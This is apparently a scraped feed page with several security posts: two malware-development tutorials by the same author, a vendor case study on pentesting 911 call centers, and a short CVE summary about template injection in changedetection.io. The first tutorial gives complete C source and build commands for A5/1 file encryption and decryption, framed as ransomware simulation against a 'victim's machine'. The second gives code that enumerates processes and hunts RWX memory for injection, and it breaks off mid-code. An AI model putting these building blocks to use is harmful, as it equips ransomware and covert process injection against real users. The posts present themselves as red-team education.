❌

Normal view

There are new articles available, click to refresh the page.
Before yesterdayPentest/Red Team

Malware and cryptography 27: encrypt/decrypt files via A5/1. Simple C/C++ example.

12 May 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

The next piece of code implemented file encryption and decryption logic via previous functions:

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

As you can see, it operates on the data in blocks of A51_BLOCK_SIZE (8) bytes and in case when file size is not a multiple of 8, just add padding logic for encrypted and decrypted data:

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

The full source code is looks like this hack.c:

/*
 * hack.c
 * encrypt/decrypt file via GSM A5/1 algorithm
 * author: @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/12/malware-cryptography-27.html
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>

#define ROL(x, y) (((x) << (y)) | ((x) >> (32 - (y))))
#define A5_STEP(x, y, z) ((x & y) ^ (x & z) ^ (y & z))

#define A51_BLOCK_SIZE 8
#define A51_KEY_SIZE 8

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

void a5_1_decrypt(unsigned char *key, int key_len, unsigned char *cipher, int cipher_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // decryption
  for (int i = 0; i < cipher_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = cipher[i] ^ key_byte;
  }
}

void add_padding(HANDLE fh) {
  LARGE_INTEGER fs;
  GetFileSizeEx(fh, &fs);

  size_t paddingS = A51_BLOCK_SIZE - (fs.QuadPart % A51_BLOCK_SIZE);
  if (paddingS != A51_BLOCK_SIZE) {
    SetFilePointer(fh, 0, NULL, FILE_END);
    for (size_t i = 0; i < paddingS; ++i) {
      char paddingB = static_cast<char>(paddingS);
      WriteFile(fh, &paddingB, 1, NULL, NULL);
    }
  }
}

void remove_padding(HANDLE fileHandle) {
  LARGE_INTEGER fileSize;
  GetFileSizeEx(fileHandle, &fileSize);

  // determine the padding size
  DWORD paddingSize;
  SetFilePointer(fileHandle, -1, NULL, FILE_END);
  ReadFile(fileHandle, &paddingSize, 1, NULL, NULL);

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    // seek back to the beginning of the padding
    SetFilePointer(fileHandle, -paddingSize, NULL, FILE_END);

    // read and validate the entire padding
    BYTE* padding = (BYTE*)malloc(paddingSize);
    DWORD bytesRead;
    if (ReadFile(fileHandle, padding, paddingSize, &bytesRead, NULL) && bytesRead == paddingSize) {
      // check if the padding bytes are valid
      for (size_t i = 0; i < paddingSize; ++i) {
        if (padding[i] != static_cast<char>(paddingSize)) {
          // invalid padding, print an error message or handle it accordingly
          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

cryptography

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

cryptography

cryptography

Then just run our application on Windows 11 x64 machine:

.\hack.exe

cryptography

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

cryptography

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Advancing Emergency Response Security with Autonomous Pentesting

9 May 2024 at 16:07

Strengthening PSAP Defenses in an Evolving Threat Landscape

Cybersecurity is paramount for the public safety sector as it safeguards critical infrastructure, sensitive data, and communication systems vital for emergency response, law enforcement, and national security. In an increasingly interconnected world, where digital technologies infiltrate every aspect of society, vulnerabilities in these systems can be exploited by malicious actors to disrupt emergency services, compromise sensitive information, or even endanger lives. A robust cybersecurity posture not only protects against potential cyber threats and attacks but also ensures the confidentiality, integrity, and availability (CIA) of essential services, thereby upholding resilience of public safety systems.

Specifically, 911 call centers, also known as Public Safety Answering Points (PSAPs), frequently draw the attention of cyber threat actors because of their pivotal function in emergency response, making them attractive targets for disruption and ransomware attacks capable of incapacitating essential services. Additionally, the sensitive information stored within PSAP networks and systems, including Personal Identifiable Information (PII) and Personal Health Information (PHI), present lucrative opportunities for data theft and exploitation.

Mission:

To make a big impact worldwide in thwarting ransomware and other cyberattacks by making sophisticated cyber defense solutions with human supervision affordable to organizations worldwide.

  • Year Founded: 2007
  • Number of Employees: >20
  • Operational Reach: Global

Threat Intelligence

In May 2023, a ransomware attack targeted the city of Dallas by the Royal Ransomware gang, leading to the shutdown of court systems and disruptions in 911 emergency services. The attack affected various city services, including the police department’s ability to access certain databases. The outage has also impacted Computer Aided Dispatch (CAD) systems, which are used by dispatchers and 911 operators to prioritize and record incident calls. While city officials assured that emergency calls were still being answered, the incident highlighted the significant impact cyberattacks can have on critical infrastructure and essential services.

In a recent interview with Brian Beckwith, Chief Technology Officer (CTO) at Intuitus, he explained that Intuitus β€œdeals primarily in helping 911 call centers (PSAPs), and who those call centers support, to make sure their environments are secure.” Intuitus, a full-service cybersecurity and consulting solution with a 24/7 Security Operations Center (SOC), is the leading voice in cybersecurity for 911/NG911 PSAP organizations worldwide. Additionally, they participate in industry organizations such as National Emergency Number Association (NENA), Association of Public-Safety Communications Officials (APCO) international, and other 911/NG911 PSAP community members.

β€œWhen there is a cyberattack on a PSAP, there is the potential for loss of life due to the caller not being able to get through to the 911 call center. Our job is to prevent that situation. We specialize in knowing the cyber threat actor’s tactics, techniques, and procedures (TTPs) so we can protect organizations from those things.”

More than just protecting communications

β€œWith legacy 911 systems, moving to a more IP-based solution is opening up a new world for 911,” explains Brian. So, rewriting and iterating on NG911 cybersecurity regulations, policies, and guidelines is key to keeping pace with the evolving cyber threats and fortify cybersecurity defenses. According to CISA, β€œthe 911 system requires stable, safe, and resilient communications” and pointed to two things that all PSAPs should do to improve their overall cybersecurity:

  • Cybersecurity risk assessments
  • Cyber incident response and vulnerability response plans

Cybersecurity risk assessments are crucial for PSAPs because they help identify potential vulnerabilities and weaknesses within their systems proactively, allowing them to prioritize resources and implement effective security measures to mitigate risks. Additionally, having robust cyber incident response and vulnerability response plans is essential, as they enable PSAPs security teams to respond swiftly and effectively to cyberattacks. Intuitus also offers its customers SOC as a Service with Managed Detection & Response (MDR) as a fully self-contained solution that can be rapidly deployed into the existing infrastructure.

In the context of cybersecurity risks assessments, we at Horizon3.ai have seen our customers implement a regular cadence of penetration (aka β€œpen”) testing to ensure that they are continuously assessing their infrastructure to stay ahead of cyber threats. In general, most facets of the public safety sector have yearly cyber risk assessment requirements. However, this infrequent assessment schedule means that any new threats introduced after the assessment won’t be identified or mitigated promptly, leaving the organization exposed to potential breaches or attacks.

β€œMost PSAPs only conduct a once-a-year pentest, and don’t do pentesting all the time.”

Further, changes in the organization’s IT infrastructure, software updates, and the introduction of new technologies can also introduce new vulnerabilities that would remain unaddressed until the next annual assessment, further increasing the risk of cyber incidents.

Enter NodeZeroβ„’

With the increased focus on ensuring PSAPs are following national and international cybersecurity regulations, policies, and guidelines, as well as conducting cyber risk assessments yearly, Brian needed to find a solution that could increase Intuitus’ pentesting footprint and blast radius. He also wanted something that was easy to use, straightforward, and required less training time to learn. Moreover, he wanted something that could β€œenable digestible conversations with…customers and simplify what security measures must be taken to mitigate vulnerabilities in their environment quickly.” With Intuitus expanding not only in the U.S. but internationally, they needed a tool that could enable them to keep pace with their growing demand for continuous pentesting.

After testing a few competitors that offer similar functionality and capabilities as NodeZero, Brian mentions that the tools β€œjust didn’t do it right, not the way NodeZero does.” What we often find is that other β€œpentesting tools” can’t do what NodeZero does, and sometimes involve on-prem solutions that are complex and require additional training for in-house pentesters. Brian can use NodeZero right away, without needing to train his pentesters or attend lengthy instruction on how to run a pentest, use 1-Click Verify, or read reports. Additionally, this ease of use allows Brian and his team to foster better relationships with his customers because the reports are not overly complicated, yet they provide detail and give actionable guidance for even the novice user.

β€œNodeZero enables me to have a relationship with a customer that I wouldn’t have otherwise had without the tool”

Compliance for Everyone

As with almost all sectors and industries worldwide, when it comes to cybersecurity compliance, there is always a regulation or policy to comply with to meet minimum operating standards. According to Brian, β€œmost of our pentests are performed because of some compliance regulation that needs to happen or that our customer must comply with.” Intuitus customers often require an audit with proof of a pentest and mitigation results to meet compliance requirements.

Auditors require pentests for compliance reasons to verify that an organization’s cybersecurity defenses are robust and effective against cyber threats, ensuring adherence to industry standards and regulatory requirements. Pentesting provides concrete evidence of security posture and readiness, helping organizations demonstrate due diligence in protecting sensitive data and systems. β€œOne of our supply chain customers needed a pentest, and we told them that we can easily do that so they could meet the newly established [at that time] supply chain compliance standards,” Brian shared – another example of how NodeZero is enabling Intuitus to meet nearly all of their customers cybersecurity needs/requirements.

β€œ100% of our [Intuitus] pentesting business we’re doing today; we would not be doing if we didn’t have NodeZero… Horizon3.ai has given us 20% more capability than any other tool we have used or demo’d. We have added many more customers to our business because we offer pentesting services.”

To Wrap it Up

By partnering with Horizon3.ai, Intuitus uses NodeZero as a force multiplier. Brian wanted to implement and offer in-house pentesting to ensure Intuitus is seen as a β€œtrusted advisor, helping us continue to grow and maintain our full service offering to customers.” Additionally, Intuitus’ pivotal role within the public safety space ensures PSAPs are meeting and exceeding compliance standards, while also enabling them to stay ahead of threats and hardened against constantly evolving threats.

Download PDF

The post Advancing Emergency Response Security with Autonomous Pentesting appeared first on Horizon3.ai.

CVE-2024-32651 – Server Side Template Injection (Changedetection.io)

TL;DR A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host. Update changedetection.io to version 0.45.21 or later. A huge thanks to the mantainer (https://github.com/dgtlmoon) that was very responsive and collaborative to fix the issue, request a CVE number and inform the […]

Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
